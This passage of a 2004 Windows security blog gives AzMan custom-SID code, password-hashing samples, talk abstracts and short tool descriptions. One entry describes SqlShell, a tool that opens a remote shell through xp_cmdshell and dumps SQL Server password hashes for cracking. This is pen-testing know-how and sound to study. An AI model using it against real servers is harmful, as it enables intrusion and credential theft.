foreach (IAzApplicationGroup appGroup in app.ApplicationGroups)
  {
   
if (appGroup.Name == ApplicationGroup)
    {
      System.Array memberArray = (System.Array)appGroup.Members;
     
string[] members = new string[memberArray.GetLength(0)];
     
     
for (int i = 0; i < memberArray.Length; i++)
        members[i] = Convert.ToString(memberArray.GetValue(i));

     
return members;
    }
  } 
 
 
throw new Exception("Application Group not found");
}


Work in Progress
Tuesday, May 18, 2004 3:07:51 AM UTC  #   
 Sunday, May 16, 2004

WinDev 2004

most of the session description are online now - this will be an interesting week!!


Work in Progress
Sunday, May 16, 2004 6:42:58 AM UTC  #   
 Wednesday, May 12, 2004

ShowContextService

a posting on the developmentor list about troubleshooting web service to web service authentication problems made me release this code i wrote a while ago.
this is basically a port of keith brown's showcontexts.aspx to a web service.

build the service and disable anonymous authentication on the virtual directory. the client shows several authentication variations including impersonation - you can also play around with web.config settings.

the service returns the three identitities we have to cope with in asp.net.

  • the managed identity (user.identity)
  • the process identity
  • the thread identity

ShowContextService.zip (58,66 KB)


Tools
Wednesday, May 12, 2004 3:54:02 PM UTC  #   
 Tuesday, May 11, 2004

AzMan and Custom SIDs - Part 3

in this last part i'll show you the code to do access checks against an AzMan store with custom SIDs.

first, you authenticate the username/password against the database and get the SID in return.

public string Authenticate(string Username, string Password)
{
 
string salt = getSalt(Username);
 
byte[] saltBytes = Convert.FromBase64String(salt);

  string
passwordHash = generateHash(Password, saltBytes, 64);
  string sid = "";

  if (checkPassword(Username, passwordHash, ref sid))
   
return sid;

  return null;
}

after that you can open the AzMan store and create a client context with the returned SID.

IAzClientContext context = app.InitializeClientContextFromStringSid(sid, 1, null);

Note the second parameter. the 1 turns of checking of the SIDs against the Windows User Store. The constant is called AZ_CLIENT_CONTEXT_SKIP_GROUP and its value is set to 1 in azroles.h

you can then pass this client context to the access checks functions of AzMan. the AccessCheck API is quite ugly to use. the AzMan COM Component is made to be used from all COM enabled languages including scripting. so you often have to deal with VARIANTS and that kind of stuff...

public bool accessCheck(IAzClientContext ctx, int operationID)
{
  const int NO_ERROR = 0;
  object[] operations = { operationID };
  object[] scopes = { "" };
  object[] results = (object[])    
  ctx.AccessCheck("Audit Text", scopes, operations, null, null, null, null, null);
  int result = (int)results[0];
  if (NO_ERROR == result)
    return true;
  else
    return false;
}

so, this is a very basic example. the AzMan API has a lot more possibilities. check the documentation and the links i posted before.


Work in Progress
Tuesday, May 11, 2004 2:06:17 PM UTC  #   
 Friday, May 07, 2004

IEProxy

small tool to change the ie proxy from the command line.

ieproxy.zip (3,04 KB)


Tools
Friday, May 07, 2004 5:52:06 AM UTC  #   
 Thursday, May 06, 2004

Speaking at WinDev!

i am speaking at this years windev in boston. both talks are in keith brown's security track. cool!

 

Designing Application Managed Authorization

Authorization is a task which every programmer has to face sooner or later. While authentication is handled in most situations by the operating system, authorization concepts have to be designed on a per application basis. The .NET Framework provides various authorization mechanisms to control the

functionality of applications so that they behave as intended and cannot be misused either accidentally or deliberately. These include role based access checks using windows or non windows accounts, Microsoft Authorization Manager, COM+ role based security and code access security authorization.

This talk provides guidelines for designing and coding application-managed authorization for single or multi-tier applications that are based on .NET. It focuses on common authorization tasks and scenarios, and it provides information that helps you choose the best approaches and techniques.

 

Improving Application Security through Pen-Testing

Application programmers usually focus on normal execution paths, attackers on error conditions.

Penetration Testing is the process of analyzing applications and infrastructures through the eyes of an attacker and to use exactly the same techniques and tools these people would use. This talk gives the theory behind auditing and penetration/security testing and introduces proven methodologies.
Common programming pitfalls like input validation flaws including sql injection, cross site scripting and directory traversal, asp.net misconfigurations and overall "hackable" application designs are shown with a detailed explanation how to exploit these security holes.

After this session you will have the knowledge to start testing your own applications for security problems and using tools to automate these tests.


Work in Progress | Conferences
Thursday, May 06, 2004 6:20:57 AM UTC  #   
 Tuesday, May 04, 2004

Happy 1st Birthday OS/2 2.0

just found this shirt in a drawer

(front - with the wonderful os/2 logo)
Happy 1st Birthday OS/2 2.0
March 31, 1993

(back)
OS/2 2.0 First Year Milestone
2,000,000+ Copies Sold
10 International Awards
1,200+ OS/2 Applications
80+ OEM Hardware Vendors
100+ User Groups
250+ Bulletin Boards

reminds me of the days where i were the youngest kid at the table....


Misc
Tuesday, May 04, 2004 6:04:42 PM UTC  #   

AzMan and Custom SIDs - Part 2

Custom SIDs can be added to roles or to application groups.

You will have to do that programmatically because the MMC snapin only gives you the usual User/Group picker for local/domain accounts.

My aproach is to completely configure the AzMan store Operations/Tasks/Roles and Application Groups with the snapin and then add the SIDs to Application Groups through code.

How to open and close AzMan stores and applications (all eror checking omitted for brevity :)

public void OpenApplication(string StorePath, string ApplicationName)
{
  if (storeOpen == true)
    CloseApplication();
            
  store = new AzAuthorizationStoreClass();
  store.Initialize(2, StorePath, null);
  app = store.OpenApplication(ApplicationName, null);
}

public void CloseApplication()
{
  release(app);
  release(store);
}

void release(object o) 
{
   if (null != o)
   {
     while (0 != System.Runtime.InteropServices.Marshal.ReleaseComObject(o))
     continue;
   }
}


How to add and remove the SIDs to/from application groups:

public void AddSidToGroup (string Sid, string ApplicationGroup)
{
  IAzApplicationGroup appGroup = getApplicationGroup(ApplicationGroup);
  if (appGroup == null)
    throw new Exception("Application Group not found");

  appGroup.AddMember(Sid, null);
  appGroup.Submit(0, null);
}

public void RemoveSidFromGroup(string Sid, string ApplicationGroup)
{
  IAzApplicationGroup appGroup = getApplicationGroup(ApplicationGroup);
  if (appGroup == null)
    throw new Exception("Application Group not found");

   appGroup.DeleteMember(Sid, null);
   appGroup.Submit(0, null);
}

private IAzApplicationGroup getApplicationGroup(string ApplicationGroup)
{
   foreach (IAzApplicationGroup appGroup in app.ApplicationGroups)
     if (appGroup.Name == ApplicationGroup)
       return appGroup;

   return null;
}

Part 3 will show how to use that store from the application to do access checks and some management.


Work in Progress
Tuesday, May 04, 2004 5:39:21 AM UTC  #   
 Monday, May 03, 2004

AzMan and Custom SIDs - Part 1

Ok – here’s the scenario:

If you have an application which stores the principals in a sql database and you have an AzMan store against which you want to run access checks. How can you combine these?

First of all you have to map your principals to Custom SIDs.

When creating custom SIDs you must establish a SID design for your application. For example, you might have S-1-9-AppInstanceGUID-UserRID, where 9 is the resource manager subauthority, AppInstanceGUID is your Application ID and UserRID is a unique number for the user in the scope of the application instance.

e.g. S-1-9-1-1 for the first app and the first user.

Database Design
The table that stores the principals and the SIDs has the following schema:

Username varchar(50) NOT NULL, Primary Key
ID int NOT NULL Identity
PasswordHash varchar(50) NOT NULL
Salt varchar(200) NOT NULL
Sid varchar(50) NOT NULL

The ID column will help to generate unique user RIDs.

The stored procedure to insert new users and generate a SID:

CREATE PROCEDURE dbo.AddUser
(
  @Username varchar(50),
  @PasswordHash varchar(200),
  @Salt varchar(200),
  @AppID varchar(50)
)
AS

INSERT INTO utSid
  (Username, Salt, PasswordHash, Sid)
  VALUES (@Username, @Salt, @PasswordHash, @AppID)

  update utSid set Sid = @AppID + '-' + Convert(varchar,@@Identity) where ID = @@Identity
 
  select @AppID + '-' + Convert(varchar,@@Identity)

RETURN


Maybe not the most elegant t-sql – but it works. Another option could be to use a column expression to form the SID value....

Passwords, Hashes and Salts

Obviously we don’t want to store the cleartext passwords of our users. We use a salted hash instead. The password hash is formed through : hash(salt, password) by using PKCS#5 which is exposed in the .net framework in the PasswordDeriveBytes class. The salt is a random number generated by RNGCryptoServiceProvider (a cryptographically strong random number generator).

private byte[] generateSalt(int length)
{
  byte[] salt = new byte[length];
  new RNGCryptoServiceProvider().GetBytes(salt);

  return salt;
}

private string generateHash(string password, byte[] salt, int iterations)
{
  PasswordDeriveBytes p = new PasswordDeriveBytes(password, salt, "SHA1", iterations);
  return Convert.ToBase64String(p.GetBytes(16));
}

in part 2 i will show how to interact with the AzMan store.


Work in Progress
Monday, May 03, 2004 9:03:39 PM UTC  #   

Reflector 4

Lutz Roeder's new .NET Decompiler is out!!! Rocks as usual.

download


For Your Favourites
Monday, May 03, 2004 5:28:49 AM UTC  #   
 Sunday, May 02, 2004

AzMan and non-Windows Accounts

One question at the AzMan talk was about how to use AzMan with non-Windows accounts, e.g. with applications that roll their own user management (like Web Applications, SQL Server type user stores) or alternate authentication protocols like RSA SecureID.

What’s pretty cool about AzMan is that you don’t have to necessarily map your roles to windows accounts.

You can stick three different identity types into the AzMan access check functions.

1. Tokens
2. Usernames
3. SIDs

Number 1 clearly maps to Windows Accounts, number 2 maps to Windows Usernames (DOMAIN\USER Format) or results of LDAP queries.

Number 3 can be a SID of a Windows User account or just any SID you store in the AzMan policy store. SIDs don’t get verified against AD or the SAM when adding them to the store or doing access checks.

This feature is very powerful as you can design your own SID structure and map these to your application managed user accounts and – voila – you can use the powerful authorization API within your applications.

When having to integrate other authentication protocols, the new protocol transition feature of Kerberos in Windows 2003 server comes in handy. An application or a gateway could request (after authenticating the user) an S4USelf ticket. This ticket contains a Token which then can be used to feed AzMan.

I’ve written a proof of concept program for the Custom SID scenario. I will post some code in the next days.

more on S4U Kerberos Extensions here.


Work in Progress
Sunday, May 02, 2004 8:13:29 PM UTC  #   

Arbeiten als non-Admin (german)

Der neue Newsletter der ERNW GmbH ist online.

Das Thema ist diesmal "Arbeiten als non-Admin unter Windows". download

Auszug:
"Das Problem
Das Arbeiten als Administrator bzw. mit einem Account mit Administrator-Rechten unter Windows hat sich in vielen Firmen-Umgebungen und im privaten Bereich weitestgehend eingebürgert. Windows XP z.B. versieht den ersten Benutzer-Account mit administrativen Rechten. Dies hat auch einen guten Grund. Einem normalen Benutzer ist es nicht gestattet Software oder Treiber zu installieren oder die IP Adresse zu ändern – nicht einmal das Ändern der System-Zeit ist zulässig.
Im User-Alltag werden diese Funktionen sehr selten benötigt – für den Office-Einsatz und das Surfen im Internet sind keineswegs Administrator-Rechte erforderlich.
Im Gegenteil – als Administrator zu arbeiten birgt sogar erhebliche Gefahren. Alle Programme, die Sie starten, arbeiten unter dem mächtigsten Benutzer-Account, den Ihr System zu bieten hat. Diesen Programmen ist es gestattet auf Ihrem System beliebige Dateien zu lesen, hinzuzufügen oder zu löschen. Dies schließt natürlich beliebige Registry-Schlüssel, Passwort-Dateien, System-Bibliotheken sowie Email und Internet Funktionalitäten mit ein.
Heutzutage kann man sich auf verschiedenste Art und Weise einen Virus oder Wurm „einfangen" und es können sich erhebliche Softwarefehler (sog. Buffer Overflows") in nahezu jeder Standard-Software (z.B. Outlook, Internet Explorer, Macromedia Flash Player, RealAudio Player usw.) einnisten.
All dies kann dazu führen, dass böswilliger Code auf Ihrem System zur Ausführung kommt und dieser Code wird mit den Rechten des aktuell angemeldeten Benutzers ausgeführt.
90% aller Viren wären kläglich gescheitert wenn sie nicht Rechte auf gewisse Systemdateien oder Registry Schlüssel gehabt hätten (z.B. um sich automatisch
startend beim Booten des Systems zu konfigurieren). Das Austauschen von System-Dateien ist ebenfalls nur als Administrator möglich.
Warum sich also dieser Gefahr aussetzen?..."


Work in Progress
Sunday, May 02, 2004 8:02:18 PM UTC  #   

IIR Windows Forum - Microsoft Authorization Manager

I gave a talk about Microsoft Authorization Manager at the IIR Windows Forum in Frankfurt. I was pretty suprised about how many people came to this session (even some more than to the iis 6 security talk directly before ;)

There were also some good questions about intregrating other directory services than ad, combining azMan with other authentication systems like SecureID, mobile scenarios and so on.

the slides and a demo azMan Store can be downloaded (german) here.
An excellent article about AzMan by Keith Brown can be found here.
Technet info about Azman : here.

more to come....


Work in Progress
Sunday, May 02, 2004 1:42:33 PM UTC  #   

ifconfig

ifconfig let's you change ip address, subnet mask, dns server and default gateway of any network interface from the command prompt. it also shows detailed information about the selected interface via wmi. this new version introduces a more flexible command line and some minor bugfixes. download


Tools
Sunday, May 02, 2004 1:25:56 PM UTC  #   

Unbase64

small tool to quickly decode base64 encoded strings (like the ones used in http basic auth) download


Tools
Sunday, May 02, 2004 1:22:01 PM UTC  #   

Crypter

gui tool to encrypt/decrypt files using rijndael/aes and a user supplied key. just drag a file from explorer to crypter and set the password. credits to Keith Brown (http://www.develop.com/kbrown) download


Tools
Sunday, May 02, 2004 1:20:37 PM UTC  #   

EventMonitor

EventMonitor is a command line tool that can display windows event log entries in real time. you can filter by event log name (system, security…) and by event severity (warning, error…). the entries can also be written to an output file. this file can be plain text or xml. several xsl stylesheets are included to convert the xml output to html. download


Tools
Sunday, May 02, 2004 1:19:32 PM UTC  #   

SqlShell

new and updated version of SqlShell. establishes a connection to a sql server with an administrative account (sa or integrated security), it then uses xp_cmdshell to open a remote shell. all shell activities can be logged to a text file. this new version can automatically dump the password hashes from master..sysxlogins and writes them to a file ready for cracking with tools like sqlbf (www.cqure.net). download


Tools
Sunday, May 02, 2004 1:18:07 PM UTC  #   

XslTransform

command line tool to do xsl transformations on xml files. the result gets piped to stdout, so you can redirect to any device (e.g. a file) download


Tools
Sunday, May 02, 2004 1:16:10 PM UTC  #   

Hasher

tool to hash strings (e.g. passwords) with sha1 or md5. it also shows the entropy of the string. if you execute it without commandline parameter, a gui will pop up - otherwise use /?. it can automatically copy the result to the clipboard. also works for forms authentication hashed passwords. download


Tools
Sunday, May 02, 2004 1:10:00 PM UTC  #   

DPAPI Tools

some tools to work with the data protection api (DPAPI). includes an encypter/decrypter command line version (use the /? switch) and a gui version. also includes a single aspx file which does encrypting/decrypting. good for copying on servers :) download


Tools
Sunday, May 02, 2004 12:57:47 PM UTC  #   

BogusBanner ISAPI Filter

a small ISAPI Filter to modify or remove some http headers (especially the server header) download


Tools
Sunday, May 02, 2004 12:54:20 PM UTC  #